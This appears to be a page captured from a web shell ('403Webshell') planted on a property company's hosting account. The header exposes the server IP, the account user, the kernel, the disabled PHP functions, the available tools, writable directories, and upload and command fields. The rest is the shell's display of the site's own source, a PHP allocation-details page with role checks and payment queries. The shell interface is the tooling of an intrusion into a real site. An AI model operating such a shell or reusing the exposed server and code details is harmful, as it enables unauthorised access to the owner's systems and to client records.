403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.217.140
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/allocation-details.php
<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}
require_once 'includes/db.php';
require_once 'includes/functions.php';
require_once 'includes/installments.php';

$_role = $_SESSION['user_role'] ?? 'guest';
$__role_norm = strtolower(trim((string)$_role));
$__role_norm = str_replace([' ', '-'], '_', $__role_norm);
$__allow_roles = ['admin','super_admin','operations','operations_officer','estate_manager','finance_manager','finance_officer','finance','sales_manager','customer_rep','chairman_ceo','executive'];
$__is_fin = function_exists('isFinanceTier') ? isFinanceTier($_role) : in_array($__role_norm, ['finance','finance_officer','finance_manager'], true);
$__is_admin_tier = function_exists('isAdminTier') ? isAdminTier($_role) : in_array($__role_norm, ['admin','super_admin','estate_manager','sales_manager'], true);
$__is_manager_tier = function_exists('isManagerTier') ? isManagerTier($_role) : in_array($__role_norm, ['estate_manager','sales_manager'], true);
$__is_exec_tier = function_exists('isExecutive') ? isExecutive($_role) : in_array($__role_norm, ['chairman_ceo','chairman','ceo','executive','executives'], true);
$__is_readonly = function_exists('isReadOnlyRole') ? isReadOnlyRole($_role) : false;

if (!isset($_SESSION['user_id']) || (!$__is_fin && !in_array($__role_norm, $__allow_roles, true))) {
    header("Location: dashboard.php");
    exit;
}

$allocId = isset($_GET['id']) ? (int)$_GET['id'] : 0;
if ($allocId <= 0) {
    header("Location: allocations.php");
    exit;
}

$companyId = function_exists('getCurrentCompanyId') ? getCurrentCompanyId() : null;

$hasUsersTable = false;
$hasPropsTable = false;
$hasEstatesTable = false;
$hasDealsTable = false;
$hasPaymentsTable = false;
$hasAuditTable = false;
try { $hasUsersTable = $pdo->query("SHOW TABLES LIKE 'users'")->rowCount() > 0; } catch (Throwable $e) {}
try { $hasPropsTable = $pdo->query("SHOW TABLES LIKE 'properties'")->rowCount() > 0; } catch (Throwable $e) {}
try { $hasEstatesTable = $pdo->query("SHOW TABLES LIKE 'estates'")->rowCount() > 0; } catch (Throwable $e) {}
try { $hasDealsTable = $pdo->query("SHOW TABLES LIKE 'deals_submit'")->rowCount() > 0; } catch (Throwable $e) {}
try { $hasPaymentsTable = $pdo->query("SHOW TABLES LIKE 'payments'")->rowCount() > 0; } catch (Throwable $e) {}
try { $hasAuditTable = $pdo->query("SHOW TABLES LIKE 'audit_logs'")->rowCount() > 0; } catch (Throwable $e) {}

$propertyJoin = $hasPropsTable ? "LEFT JOIN properties p ON a.property_id = p.id" : "LEFT JOIN (SELECT NULL AS id, NULL AS title, NULL AS price, NULL AS address, NULL AS estate_id) p ON 1=0";
$hasAllocEstateId = $hasEstatesTable && function_exists('tableHasColumn') && tableHasColumn('allocations', 'estate_id');
$hasPropertyEstateId = $hasPropsTable && $hasEstatesTable && function_exists('tableHasColumn') && tableHasColumn('properties', 'estate_id');
$estateJoin = $hasEstatesTable ? ($hasAllocEstateId ? "LEFT JOIN estates e ON a.estate_id = e.id" : ($hasPropertyEstateId ? "LEFT JOIN estates e ON p.estate_id = e.id" : "LEFT JOIN estates e ON 1=0")) : "LEFT JOIN (SELECT NULL AS id, NULL AS name) e ON 1=0";
$dealJoin = $hasDealsTable ? "LEFT JOIN deals_submit d ON a.deal_id = d.id" : "LEFT JOIN (SELECT NULL AS id, NULL AS project_desc, NULL AS project_name, NULL AS amount_offered) d ON 1=0";

$clientNameExpr = $hasUsersTable && function_exists('tableHasColumn') && tableHasColumn('users', 'name')
    ? "c.name"
    : ($hasUsersTable && function_exists('tableHasColumn') && tableHasColumn('users', 'full_name') ? "c.full_name" : "NULL");
$clientEmailExpr = $hasUsersTable && function_exists('tableHasColumn') && tableHasColumn('users', 'email') ? "c.email" : "NULL";
$clientPhoneExpr = "NULL";
if ($hasUsersTable && function_exists('tableHasColumn')) {
    if (tableHasColumn('users', 'phone')) { $clientPhoneExpr = "c.phone"; }
    elseif (tableHasColumn('users', 'mobile')) { $clientPhoneExpr = "c.mobile"; }
}

$plotNoExpr = "NULL";
if (function_exists('tableHasColumn')) {
    if (tableHasColumn('allocations', 'plot_number')) { $plotNoExpr = "a.plot_number"; }
    elseif ($hasPropsTable && tableHasColumn('properties', 'plot_number')) { $plotNoExpr = "p.plot_number"; }
    elseif ($hasPropsTable && tableHasColumn('properties', 'unit_number')) { $plotNoExpr = "p.unit_number"; }
}
$plotSizeExpr = "NULL";
if (function_exists('tableHasColumn')) {
    if (tableHasColumn('allocations', 'plot_size')) { $plotSizeExpr = "a.plot_size"; }
    elseif ($hasPropsTable && tableHasColumn('properties', 'plot_size')) { $plotSizeExpr = "p.plot_size"; }
    elseif ($hasPropsTable && tableHasColumn('properties', 'area_sqm')) { $plotSizeExpr = "p.area_sqm"; }
}

$allocPriceExpr = "0";
if (function_exists('tableHasColumn')) {
    if (tableHasColumn('allocations','total_price')) { $allocPriceExpr = "a.total_price"; }
    elseif (tableHasColumn('allocations','total_amount')) { $allocPriceExpr = "a.total_amount"; }
    elseif (tableHasColumn('allocations','amount')) { $allocPriceExpr = "a.amount"; }
    elseif (tableHasColumn('allocations','price')) { $allocPriceExpr = "a.price"; }
    elseif (tableHasColumn('allocations','final_price')) { $allocPriceExpr = "a.final_price"; }
    elseif (tableHasColumn('allocations','sale_price')) { $allocPriceExpr = "a.sale_price"; }
}

$titleExpr = "COALESCE(NULLIF(p.title,''), NULLIF(e.name,''), NULLIF(d.project_desc,''), NULLIF(d.project_name,''), CONCAT('Allocation #', a.id))";
$addressExpr = "COALESCE(NULLIF(p.address,''), NULLIF(e.name,''), NULLIF(d.project_name,''), NULLIF(d.project_desc,''), 'N/A')";

$paidExpr = "0";
if ($hasPaymentsTable && function_exists('tableHasColumn')) {
    $statusApprovedSql = function_exists('kpiSqlList') ? kpiSqlList(kpiPaymentFinalizedStatuses()) : "('verified','approved','paid','completed','success')";
    $paidMatchParts = [];
    if (tableHasColumn('payments','allocation_id')) { $paidMatchParts[] = "allocation_id = a.id"; }
    if (tableHasColumn('payments','deal_id') && tableHasColumn('allocations','deal_id')) { $paidMatchParts[] = "(a.deal_id IS NOT NULL AND deal_id = a.deal_id)"; }
    $paidExpr = $paidMatchParts
        ? "(SELECT COALESCE(SUM(amount), 0) FROM payments WHERE status IN $statusApprovedSql AND (" . implode(' OR ', $paidMatchParts) . "))"
        : "0";
}

$sql = "
    SELECT
        a.*,
        {$titleExpr} AS property_title,
        COALESCE(NULLIF({$allocPriceExpr},0), p.price, d.amount_offered, 0) AS total_price,
        COALESCE(p.price, d.amount_offered, 0) AS property_price,
        {$addressExpr} AS property_address,
        e.name AS estate_name,
        {$plotNoExpr} AS plot_number,
        {$plotSizeExpr} AS plot_size,
        {$paidExpr} AS total_paid
";
if ($clientNameExpr !== "NULL") { $sql .= ", {$clientNameExpr} AS client_name"; }
if ($clientEmailExpr !== "NULL") { $sql .= ", {$clientEmailExpr} AS client_email"; }
if ($clientPhoneExpr !== "NULL") { $sql .= ", {$clientPhoneExpr} AS client_phone"; }
$sql .= "
    FROM allocations a
    {$propertyJoin}
    {$estateJoin}
    {$dealJoin}
";
if ($hasUsersTable) { $sql .= " LEFT JOIN users c ON a.user_id = c.id"; }
$sql .= " WHERE a.id = ?";
$params = [$allocId];
if ($companyId && function_exists('tableHasColumn') && tableHasColumn('allocations','company_id')) {
    $sql .= " AND (a.company_id = ? OR a.company_id IS NULL)";
    $params[] = $companyId;
}
$sql .= " LIMIT 1";

$stmt = $pdo->prepare($sql);
$stmt->execute($params);
$alloc = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$alloc) {
    header("Location: allocations.php?notice=" . urlencode('Allocation not found') . "&type=warning");
    exit;
}

$total = (float)($alloc['total_price'] ?? 0);
$paid = (float)($alloc['total_paid'] ?? 0);
$balance = max(0.0, $total - $paid);
$percent = $total > 0 ? min(100, (int)round(($paid / $total) * 100)) : 0;
$barTone = $percent >= 100 ? 'success' : (($percent > 0) ? 'warning' : 'danger');

$statusRaw = strtolower(trim((string)($alloc['status'] ?? '')));
$statusKey = $statusRaw !== '' ? str_replace(' ', '_', $statusRaw) : 'unknown';
$instSummary = function_exists('getInstallmentStatusSummary') ? getInstallmentStatusSummary($pdo, $allocId) : ['label'=>'On Track','class'=>'badge bg-success'];
$instLabel = (string)($instSummary['label'] ?? 'On Track');
$instClass = (string)($instSummary['class'] ?? 'badge bg-success');

$canRecordPayment = !$__is_readonly && ($__is_fin || $__is_admin_tier);
$canApproveAlloc = !$__is_readonly && function_exists('hasApprovalRights') ? hasApprovalRights($_role, 'allocations') : $__is_admin_tier;
$canUpdateStatus = !$__is_readonly && ($__is_admin_tier || $__is_manager_tier || $__is_exec_tier);
$canAllocate = $canUpdateStatus && in_array($statusKey, ['approved','executive_approved','admin_approved'], true);

$userDisplayCol = null;
if ($hasUsersTable && function_exists('tableHasColumn')) {
    if (tableHasColumn('users','name')) { $userDisplayCol = 'name'; }
    elseif (tableHasColumn('users','full_name')) { $userDisplayCol = 'full_name'; }
}

$payments = [];
$paymentDateExpr = "created_at";
if ($hasPaymentsTable && function_exists('tableHasColumn')) {
    if (tableHasColumn('payments','date')) { $paymentDateExpr = "date"; }
    elseif (tableHasColumn('payments','payment_date')) { $paymentDateExpr = "payment_date"; }
    elseif (tableHasColumn('payments','created_at')) { $paymentDateExpr = "created_at"; }
}
$recordedByCol = null;
if ($hasPaymentsTable && function_exists('tableHasColumn')) {
    foreach (['recorded_by','created_by','uploaded_by','updated_by'] as $cand) {
        if (tableHasColumn('payments', $cand)) { $recordedByCol = $cand; break; }
    }
}
$matchWhere = [];
$matchParams = [];
if ($hasPaymentsTable && function_exists('tableHasColumn') && tableHasColumn('payments','allocation_id')) {
    $matchWhere[] = "p.allocation_id = ?";
    $matchParams[] = $allocId;
}
if ($hasPaymentsTable && function_exists('tableHasColumn') && tableHasColumn('payments','deal_id') && !empty($alloc['deal_id'])) {
    $matchWhere[] = "p.deal_id = ?";
    $matchParams[] = (int)$alloc['deal_id'];
}
if ($hasPaymentsTable && count($matchWhere) > 0) {
    $sqlPay = "SELECT p.*";
    if ($recordedByCol && $hasUsersTable && $userDisplayCol) { $sqlPay .= ", urec.{$userDisplayCol} AS recorded_by_name"; }
    if ($hasUsersTable && $userDisplayCol && function_exists('tableHasColumn') && tableHasColumn('payments','approved_by')) { $sqlPay .= ", uapp.{$userDisplayCol} AS approved_by_name"; }
    $sqlPay .= ", p.{$paymentDateExpr} AS payment_sort_date FROM payments p";
    if ($recordedByCol && $hasUsersTable) { $sqlPay .= " LEFT JOIN users urec ON p.{$recordedByCol} = urec.id"; }
    if ($hasUsersTable && function_exists('tableHasColumn') && tableHasColumn('payments','approved_by')) { $sqlPay .= " LEFT JOIN users uapp ON p.approved_by = uapp.id"; }
    $sqlPay .= " WHERE (" . implode(' OR ', $matchWhere) . ")";
    if ($companyId && function_exists('tableHasColumn') && tableHasColumn('payments','company_id')) {
        $sqlPay .= " AND (p.company_id = ? OR p.company_id IS NULL)";
        $matchParams[] = $companyId;
    }
    $sqlPay .= " ORDER BY p.{$paymentDateExpr} DESC, p.id DESC";
    $stp = $pdo->prepare($sqlPay);
    $stp->execute($matchParams);
    $payments = $stp->fetchAll(PDO::FETCH_ASSOC) ?: [];
}

$okPaidStatuses = function_exists('kpiPaymentFinalizedStatuses') ? array_map('strtolower', kpiPaymentFinalizedStatuses()) : ['verified','approved','paid','completed','success'];
$totalPaidFromHistory = 0.0;
foreach ($payments as $py) {
    $st = strtolower((string)($py['status'] ?? ''));
    if (in_array($st, $okPaidStatuses, true)) {
        $totalPaidFromHistory += (float)($py['amount'] ?? 0);
    }
}

$alerts = [];
if (in_array($statusKey, ['pending','pending_executive_approval','admin_pending'], true)) {
    $alerts[] = ['type' => 'warning', 'title' => 'Unapproved allocation', 'msg' => 'This allocation is not yet approved. Some downstream actions should be restricted until approval.'];
}
if ($balance > 0 && (strpos(strtolower($instLabel), 'overdue') !== false || strpos(strtolower($instClass), 'danger') !== false)) {
    $alerts[] = ['type' => 'danger', 'title' => 'Overdue payment', 'msg' => 'Installment schedule indicates overdue payments. Review payment history and follow up with the client.'];
}

$execFeedback = [
    'decision' => '',
    'decided_at' => '',
    'comment' => '',
];
try {
    if (function_exists('ensureAllocationLetterDataTable')) { ensureAllocationLetterDataTable($pdo); }
    if (function_exists('allocationLetterDataGet')) {
        $ld = allocationLetterDataGet($pdo, (int)$allocId);
        if (is_array($ld)) {
            $execFeedback['decision'] = (string)($ld['chairman_decision'] ?? '');
            $execFeedback['decided_at'] = (string)($ld['chairman_decided_at'] ?? '');
            $execFeedback['comment'] = (string)($ld['chairman_comment'] ?? '');
        }
    }
} catch (Throwable $e) {}
if (trim($execFeedback['comment']) === '') {
    foreach (['exec_comment','review_comment','rejection_reason','reject_reason','reason','comment','note'] as $k) {
        if (isset($alloc[$k]) && trim((string)$alloc[$k]) !== '') {
            $execFeedback['comment'] = (string)$alloc[$k];
            break;
        }
    }
}
if (trim($execFeedback['decision']) === '' && in_array($statusKey, ['rejected','revoked','declined'], true)) {
    $execFeedback['decision'] = 'reject';
}

$letterDocs = [];
try {
    $hasDocs = $pdo->query("SHOW TABLES LIKE 'documents'")->rowCount() > 0;
    if ($hasDocs) {
        $sqlDoc = "SELECT * FROM documents WHERE 1=1";
        $docParams = [];
        if (function_exists('tableHasColumn') && tableHasColumn('documents','type')) { $sqlDoc .= " AND type = ?"; $docParams[] = 'allocation_letter'; }
        if (function_exists('tableHasColumn') && tableHasColumn('documents','allocation_id')) {
            $sqlDoc .= " AND allocation_id = ?";
            $docParams[] = $allocId;
        } else {
            $sqlDoc .= " AND file_path LIKE ?";
            $docParams[] = '%Allocation_Letter_' . $allocId . '_%';
        }
        if ($companyId && function_exists('tableHasColumn') && tableHasColumn('documents','company_id')) {
            $sqlDoc .= " AND (company_id = ? OR company_id IS NULL)";
            $docParams[] = $companyId;
        }
        $sqlDoc .= " ORDER BY id DESC LIMIT 10";
        $sd = $pdo->prepare($sqlDoc);
        $sd->execute($docParams);
        $letterDocs = $sd->fetchAll(PDO::FETCH_ASSOC) ?: [];
    }
} catch (Throwable $e) {}

$receiptPaths = [];
foreach ($payments as $py) {
    foreach (['proof_file','receipt','receipt_path','file_path'] as $k) {
        if (!empty($py[$k])) { $receiptPaths[] = (string)$py[$k]; }
    }
}
$receiptPaths = array_values(array_unique(array_filter($receiptPaths)));

$transferRow = null;
$hasTransfersTable = false;
try { $hasTransfersTable = $pdo->query("SHOW TABLES LIKE 'ownership_transfers'")->rowCount() > 0; } catch (Throwable $e) { $hasTransfersTable = false; }
if ($hasTransfersTable) {
    try {
        $qt = "SELECT * FROM ownership_transfers WHERE allocation_id = ? ORDER BY id DESC LIMIT 1";
        $tp = [$allocId];
        if ($companyId && function_exists('tableHasColumn') && tableHasColumn('ownership_transfers','company_id')) {
            $qt = "SELECT * FROM ownership_transfers WHERE allocation_id = ? AND (company_id = ? OR company_id IS NULL) ORDER BY id DESC LIMIT 1";
            $tp[] = $companyId;
        }
        $stt = $pdo->prepare($qt);
        $stt->execute($tp);
        $transferRow = $stt->fetch(PDO::FETCH_ASSOC) ?: null;
    } catch (Throwable $e) { $transferRow = null; }
}

$transferActionEnabled = in_array($statusKey, ['active','allocated','completed','finalized'], true);
$transferActionVisible = in_array($statusKey, ['approved','executive_approved','admin_approved','active','allocated','completed','finalized'], true);
$transferStatus = strtolower((string)($transferRow['status'] ?? ''));
$hasPendingTransfer = $transferRow && $transferStatus === 'pending';
$hasApprovedTransfer = $transferRow && $transferStatus === 'approved';

$reallocationNewAllocationId = 0;
$reallocationHasLink = false;
$reallocationHasDoc = false;
try {
    if ($statusKey === 'revoked' && function_exists('tableHasColumn') && tableHasColumn('allocations','reallocated_from_allocation_id')) {
        $st = $pdo->prepare("SELECT id FROM allocations WHERE reallocated_from_allocation_id = ? ORDER BY id DESC LIMIT 1");
        $st->execute([$allocId]);
        $reallocationNewAllocationId = (int)($st->fetchColumn() ?: 0);
        $reallocationHasLink = $reallocationNewAllocationId > 0;
    }
} catch (Throwable $e) { $reallocationNewAllocationId = 0; $reallocationHasLink = false; }
try {
    $hasDocsTable = $pdo->query("SHOW TABLES LIKE 'documents'")->rowCount() > 0;
    if ($hasDocsTable && $statusKey === 'revoked') {
        $sql = "SELECT COUNT(*) FROM documents WHERE 1=1";
        $params = [];
        if (function_exists('tableHasColumn') && tableHasColumn('documents','type')) { $sql .= " AND type = ?"; $params[] = 'reallocation_letter'; }
        if (function_exists('tableHasColumn') && tableHasColumn('documents','reference_id')) { $sql .= " AND reference_id = ?"; $params[] = $allocId; }
        else { $sql .= " AND file_path LIKE ?"; $params[] = '%Reallocation_Letter_' . $allocId . '_%'; }
        $st = $pdo->prepare($sql);
        $st->execute($params);
        $reallocationHasDoc = ((int)$st->fetchColumn()) > 0;
    }
} catch (Throwable $e) { $reallocationHasDoc = false; }

$buyerOptions = [];
try {
    if ($hasUsersTable) {
        $qU = "SELECT id, name, email FROM users WHERE role = 'client' AND id <> ? ";
        $pU = [(int)($alloc['user_id'] ?? 0)];
        if ($companyId && function_exists('tableHasColumn') && tableHasColumn('users','company_id')) { $qU .= " AND (company_id = ? OR company_id IS NULL)"; $pU[] = $companyId; }
        $qU .= " ORDER BY name ASC LIMIT 2000";
        $stU = $pdo->prepare($qU);
        $stU->execute($pU);
        $buyerOptions = $stU->fetchAll(PDO::FETCH_ASSOC) ?: [];
    }
} catch (Throwable $e) { $buyerOptions = []; }

if (in_array($statusKey, ['executive_approved','approved','admin_approved','allocated','finalized','completed'], true) && count($letterDocs) === 0) {
    $alerts[] = ['type' => 'warning', 'title' => 'Missing allocation letter document', 'msg' => 'No allocation letter file is linked to this allocation. Generate or upload the letter to complete the file.'];
}
if (count($payments) > 0) {
    $missingProof = 0;
    foreach ($payments as $py) {
        $st = strtolower((string)($py['status'] ?? ''));
        if (!in_array($st, $okPaidStatuses, true)) { continue; }
        $hasAny = false;
        foreach (['proof_file','receipt','receipt_path','file_path'] as $k) {
            if (!empty($py[$k])) { $hasAny = true; break; }
        }
        if (!$hasAny) { $missingProof += 1; }
    }
    if ($missingProof > 0) {
        $alerts[] = ['type' => 'warning', 'title' => 'Missing receipts', 'msg' => $missingProof . ' approved/paid payment(s) have no receipt/proof file attached.'];
    }
}

$timeline = [];
$pushEvent = function($when, $title, $meta, $icon, $tone) use (&$timeline) {
    $ts = null;
    if ($when) {
        try { $ts = strtotime((string)$when); } catch (Throwable $e) { $ts = null; }
    }
    $timeline[] = [
        'ts' => $ts ?: 0,
        'when' => $when,
        'title' => $title,
        'meta' => $meta,
        'icon' => $icon,
        'tone' => $tone
    ];
};

if (!empty($alloc['created_at'])) { $pushEvent($alloc['created_at'], 'Allocation created', 'System', 'fa-calendar-plus', 'primary'); }
if (!empty($alloc['approved_at'])) { $pushEvent($alloc['approved_at'], 'Allocation approved', 'Approval workflow', 'fa-circle-check', 'success'); }
if (!empty($alloc['updated_at'])) { $pushEvent($alloc['updated_at'], 'Allocation updated', 'Record updated', 'fa-pen-to-square', 'secondary'); }

foreach ($payments as $py) {
    $dt = $py['payment_sort_date'] ?? ($py['date'] ?? ($py['payment_date'] ?? ($py['created_at'] ?? null)));
    $amt = (float)($py['amount'] ?? 0);
    $st = (string)($py['status'] ?? 'payment');
    $pushEvent($dt, 'Payment recorded', '₦' . number_format($amt, 2) . ' • ' . $st, 'fa-money-bill-wave', 'info');
}

if ($hasAuditTable && function_exists('tableHasColumn') && tableHasColumn('audit_logs','entity_id') && tableHasColumn('audit_logs','entity_type')) {
    try {
        $fields = "a.*";
        if (tableHasColumn('audit_logs','changed_by') && $hasUsersTable) { $fields .= ", u.name AS actor_name"; }
        $qa = "SELECT {$fields} FROM audit_logs a";
        if (tableHasColumn('audit_logs','changed_by') && $hasUsersTable) { $qa .= " LEFT JOIN users u ON a.changed_by = u.id"; }
        $qa .= " WHERE a.entity_id = ?";
        $ap = [$allocId];
        if ($companyId && tableHasColumn('audit_logs','company_id')) {
            $qa .= " AND (a.company_id = ? OR a.company_id IS NULL)";
            $ap[] = $companyId;
        }
        $qa .= " ORDER BY a.created_at DESC LIMIT 200";
        $sa = $pdo->prepare($qa);
        $sa->execute($ap);
        $auditRows = $sa->fetchAll(PDO::FETCH_ASSOC) ?: [];
        foreach ($auditRows as $ar) {
            $type = (string)($ar['entity_type'] ?? 'audit');
            $oldV = isset($ar['old_value']) ? (string)$ar['old_value'] : '';
            $newV = isset($ar['new_value']) ? (string)$ar['new_value'] : '';
            $reason = isset($ar['reason']) ? (string)$ar['reason'] : '';
            $who = isset($ar['actor_name']) && $ar['actor_name'] ? (string)$ar['actor_name'] : (isset($ar['changed_by']) ? ('User #' . (int)$ar['changed_by']) : 'System');
            $meta = $who;
            if ($oldV !== '' || $newV !== '') { $meta .= ' • ' . trim($oldV . ' → ' . $newV); }
            if ($reason !== '') { $meta .= ' • ' . $reason; }
            $pushEvent($ar['created_at'] ?? null, ucfirst(str_replace('_',' ', $type)), $meta, 'fa-shield-halved', 'secondary');
        }
    } catch (Throwable $e) {}
}

usort($timeline, function($a, $b) {
    return ($b['ts'] <=> $a['ts']);
});

$fmtMoney = function($v) {
    $n = (float)$v;
    if (function_exists('formatCurrency')) {
        try { return formatCurrency($n); } catch (Throwable $e) {}
    }
    return '₦' . number_format($n, 2);
};

require 'includes/header.php';
?>

<style>
    .alloc-detail-wrap { max-width: 1400px; }
    .alloc-hero { border: 1px solid rgba(226, 232, 240, 0.9); box-shadow: 0 18px 45px rgba(15, 23, 42, 0.06); border-radius: 18px; background: var(--bg-card); }
    .alloc-hero .meta { color: #64748b; font-size: 0.85rem; }
    .alloc-kpi { border: 1px solid rgba(226, 232, 240, 0.9); border-radius: 14px; background: #fff; }
    [data-theme="dark"] .alloc-kpi { background: var(--bg-card); }
    .alloc-section-card { border: 1px solid rgba(226, 232, 240, 0.9); border-radius: 18px; background: var(--bg-card); box-shadow: 0 10px 30px rgba(15, 23, 42, 0.05); }
    .alloc-section-title { font-size: 0.78rem; font-weight: 800; text-transform: uppercase; letter-spacing: 0.06em; color: #64748b; }
    .alloc-actions { display: flex; flex-wrap: wrap; gap: 0.6rem; }
    .alloc-actions .btn { border-radius: 12px; }
    .alloc-timeline .timeline-item { padding-bottom: 1.1rem; }
    .alloc-doc-pill { display: inline-flex; gap: 0.5rem; align-items: center; padding: 0.45rem 0.7rem; border-radius: 999px; border: 1px solid rgba(226, 232, 240, 0.9); background: #fff; }
    [data-theme="dark"] .alloc-doc-pill { background: var(--bg-card); }
    .alloc-doc-pill a { text-decoration: none; }
    .transfer-modal .modal-content{ border-radius: 18px; overflow: hidden; }
    .transfer-modal .modal-header{ background: linear-gradient(135deg, rgba(239, 246, 255, 0.95), rgba(240, 253, 244, 0.8)); border-bottom: 1px solid rgba(226,232,240,0.9); }
    .transfer-modal .modal-title{ font-weight: 800; color: #0f172a; }
    .transfer-modal .transfer-kpi{ border: 1px solid rgba(226,232,240,0.9); border-radius: 14px; background: #fff; padding: 12px; }
    [data-theme="dark"] .transfer-modal .transfer-kpi{ background: var(--bg-card); }
    .transfer-modal .transfer-kpi .lbl{ font-size: 12px; color: #64748b; font-weight: 700; text-transform: uppercase; letter-spacing: .04em; }
    .transfer-modal .transfer-kpi .val{ font-weight: 800; color: #0f172a; }
    .transfer-modal .upload-card{ border: 1px dashed rgba(15,23,42,0.22); border-radius: 14px; padding: 12px; background: rgba(248,250,252,0.8); }
    .transfer-modal .upload-card .small{ color: #64748b; }
    .transfer-modal .modal-dialog{ margin: 0.75rem auto; }
    .transfer-modal .modal-content{ max-height: calc(100vh - 1.5rem); }
    .transfer-modal form{ display:flex; flex-direction:column; flex:1 1 auto; min-height:0; }
    .transfer-modal .modal-body{ overflow:auto; }
    .transfer-modal .modal-footer{ margin-top:auto; background:#fff; }
    [data-theme="dark"] .transfer-modal .modal-footer{ background: var(--bg-card); }
</style>

<div class="container-fluid px-4 alloc-detail-wrap">
    <div class="d-flex justify-content-between align-items-start mt-4 mb-4">
        <div>
            <div class="d-flex align-items-center gap-3">
                <h2 class="mb-0 fw-bold text-contrast">Allocation #<?= (int)$allocId ?></h2>
                <span class="<?= htmlspecialchars($instClass) ?>"><?= htmlspecialchars($instLabel) ?></span>
            </div>
            <?php
                $estateName = trim((string)($alloc['estate_name'] ?? '')) !== '' ? (string)$alloc['estate_name'] : 'N/A';
                $plotBits = [];
                if (!empty($alloc['plot_number'])) { $plotBits[] = 'Plot ' . (string)$alloc['plot_number']; }
                if (!empty($alloc['plot_size'])) { $plotBits[] = (string)$alloc['plot_size']; }
                $plotLine = $plotBits ? implode(' • ', $plotBits) : 'N/A';
                $clientName = isset($alloc['client_name']) && $alloc['client_name'] !== '' ? (string)$alloc['client_name'] : ('Client #' . (int)($alloc['user_id'] ?? 0));
            ?>
            <div class="meta mt-2"><?= htmlspecialchars($estateName) ?> • <?= htmlspecialchars($plotLine) ?> • <?= htmlspecialchars($clientName) ?></div>
        </div>
        <div class="text-end">
            <a href="allocations.php" class="btn btn-outline-secondary"><i class="fa-solid fa-arrow-left me-2"></i>Back</a>
        </div>
    </div>

    <?php if (!empty($alerts)): ?>
        <div class="mb-4">
            <?php foreach ($alerts as $al): ?>
                <div class="alert alert-<?= htmlspecialchars($al['type']) ?> d-flex justify-content-between align-items-start">
                    <div>
                        <div class="fw-bold"><?= htmlspecialchars($al['title']) ?></div>
                        <div class="small"><?= htmlspecialchars($al['msg']) ?></div>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php
        $execDecisionRaw = strtolower(trim((string)($execFeedback['decision'] ?? '')));
        $execDecisionLabel = $execDecisionRaw === 'approve' ? 'Approved' : ($execDecisionRaw === 'request_changes' ? 'Changes Requested' : ($execDecisionRaw === 'reject' ? 'Rejected' : ''));
        $execDecisionAt = trim((string)($execFeedback['decided_at'] ?? ''));
        $execComment = trim((string)($execFeedback['comment'] ?? ''));
        $showExecFeedback = ($execDecisionLabel !== '' || $execComment !== '');
        $execTone = $execDecisionRaw === 'approve' ? 'success' : (($execDecisionRaw === 'request_changes') ? 'warning' : (($execDecisionRaw === 'reject') ? 'danger' : 'secondary'));
    ?>
    <?php if ($showExecFeedback): ?>
        <div class="alloc-section-card p-4 mb-4">
            <div class="d-flex justify-content-between align-items-start">
                <div>
                    <div class="alloc-section-title mb-1">Executive Feedback</div>
                    <?php if ($execDecisionLabel !== ''): ?>
                        <div class="fw-bold"><?= htmlspecialchars($execDecisionLabel) ?></div>
                    <?php endif; ?>
                    <?php if ($execDecisionAt !== ''): ?>
                        <div class="small text-muted"><?= htmlspecialchars($execDecisionAt) ?></div>
                    <?php endif; ?>
                </div>
                <div class="badge bg-<?= htmlspecialchars($execTone) ?>"><?= htmlspecialchars($execDecisionLabel !== '' ? $execDecisionLabel : 'Feedback') ?></div>
            </div>
            <div class="mt-3 small" style="white-space:pre-wrap;"><?= $execComment !== '' ? htmlspecialchars($execComment) : '<span class="text-muted fst-italic">No note provided.</span>' ?></div>
        </div>
    <?php endif; ?>

    <div class="alloc-hero p-4 mb-4">
        <div class="row g-3 align-items-stretch">
            <div class="col-lg-7">
                <div class="d-flex justify-content-between align-items-start">
                    <div>
                        <?php
                            $statusLabel = $statusRaw !== '' ? ucwords(str_replace('_',' ', $statusKey)) : 'Unknown';
                            $badgeCls = 'status-badge-restricted';
                            if (in_array($statusKey, ['approved','executive_approved','admin_approved','allocated','finalized','completed'], true)) { $badgeCls = 'status-badge-approved'; }
                            elseif (in_array($statusKey, ['pending','pending_executive_approval','admin_pending'], true)) { $badgeCls = 'status-badge-pending'; }
                            elseif (in_array($statusKey, ['revoked','rejected'], true)) { $badgeCls = 'status-badge-rejected'; }
                        ?>
                        <div class="d-flex align-items-center gap-2 mb-2">
                            <span class="status-badge <?= htmlspecialchars($badgeCls) ?>"><i class="fa-solid fa-clipboard-check"></i> <?= htmlspecialchars($statusLabel) ?></span>
                        </div>
                        <div class="fw-bold fs-5"><?= htmlspecialchars((string)($alloc['property_title'] ?? 'N/A')) ?></div>
                        <div class="text-muted small mt-1"><?= htmlspecialchars((string)($alloc['property_address'] ?? 'N/A')) ?></div>
                        <div class="small text-muted mt-2">
                            <span class="fw-semibold">Client:</span> <?= htmlspecialchars($clientName) ?>
                            <?php if (!empty($alloc['client_phone'])): ?> • <span class="fw-semibold">Phone:</span> <?= htmlspecialchars((string)$alloc['client_phone']) ?><?php endif; ?>
                            <?php if (!empty($alloc['client_email'])): ?> • <span class="fw-semibold">Email:</span> <?= htmlspecialchars((string)$alloc['client_email']) ?><?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="alloc-actions mt-4">
                    <?php if ($canRecordPayment): ?>
                        <a class="btn btn-primary" href="finance-payment-add.php?allocation_id=<?= (int)$allocId ?>" target="_blank" rel="noopener">
                            <i class="fa-solid fa-money-bill-wave me-2"></i>Record Payment
                        </a>
                    <?php endif; ?>
                    <?php if ($canApproveAlloc && in_array($statusKey, ['pending','pending_executive_approval','admin_pending'], true)): ?>
